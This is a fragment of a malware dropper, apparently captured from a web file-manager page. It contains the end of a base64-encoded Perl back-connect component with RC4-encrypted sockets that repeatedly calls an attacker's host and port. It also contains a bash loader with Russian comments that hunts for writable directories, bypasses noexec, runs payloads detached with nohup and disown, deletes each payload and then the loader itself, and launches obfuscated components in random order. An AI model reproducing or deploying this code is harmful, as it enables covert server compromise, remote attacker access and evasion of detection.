bJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } component_names=(f_4316c037 f_4485feeb f_a45a8064 f_70aa2bd1 f_85b45d08 f_17412d49 f_e1c5184c f_7b810715 f_81ced56c f_253b2eeb f_101f2449 f_2d39b717 f_76cec7c3 f_a49f1391 f_073842ee f_c43a6313 f_8eecfa67 f_e21fc450 f_93663bdd f_d196353e f_b563487d f_6bf204ee f_6a7957c6 f_0583f1f1 f_e32f1deb f_c2911bc5 f_c4ade93a f_a9e161bd f_cf1ccd4a f_3dcc6403 f_ba41b4eb f_83cdd0ee f_f92a81c2 f_9520054d f_321132b4 f_3de5c942 f_5a995533 f_c40d488a f_5be7439f f_e66227d3 f_5ca10014 f_39aecc05 f_cc81e8b5 f_a39f3484 f_2a229a08 f_2c7df58f f_3bf4790b f_42a117e1 f_b490c084 f_0e37384d f_8d527fc2 f_914c6520 f_d3915d07 f_be9e0c33 f_ff4b4a29 f_bba51bf5 f_5b3ed501 f_97891b31 f_1fe3fd46 f_c690dcd1 f_fecf01b2 f_0a647fb8 f_47d9b757 f_c1da059a) # 1. Инициализация PERL_BIN=$(get_perl_path) if [ -z "$PERL_BIN" ]; then exit 1; fi # 2. Сканирование окружения scan_dirs # 3. Выбор стратегии use_gold=false dir_count=0 if [ ${#gold_dirs[@]} -gt 0 ]; then # Приоритет 1: Есть папки с разрешенным запуском use_gold=true dir_count=${#gold_dirs[@]} elif [ ${#silver_dirs[@]} -gt 0 ]; then # Приоритет 2: Есть папки только для записи (noexec) use_gold=false dir_count=${#silver_dirs[@]} else # Резервный вариант: пробуем /tmp на удачу valid_dirs=("/tmp" "/var/tmp") silver_dirs=("/tmp" "/var/tmp") dir_count=2 use_gold=false fi # 4. Перемешивание задач SHUFFLE_CMD="shuf" if ! command -v shuf &>/dev/null; then SHUFFLE_CMD="sort -R"; fi components_to_run=(${component_names[*]}) # Создаем случайный порядок запуска mapfile -t shuffled_components < <(printf "%s\n" "${components_to_run[@]}" | $SHUFFLE_CMD) dir_index=0 # 5. Цикл запуска for func_name in "${shuffled_components[@]}"; do # Проверка на пустую строку (защита от ошибок) if [ -n "$func_name" ] && declare -f "$func_name" > /dev/null; then # Запускаем распаковщик "$func_name" "$use_gold" "$dir_index" "$PERL_BIN" # Крутим папки по кругу dir_index=$(((dir_index + 1) % dir_count)) # Пауза sleep $PAUSE_SEC fi done # Удаляем сам лоадер exit 0
Upload File
Create Folder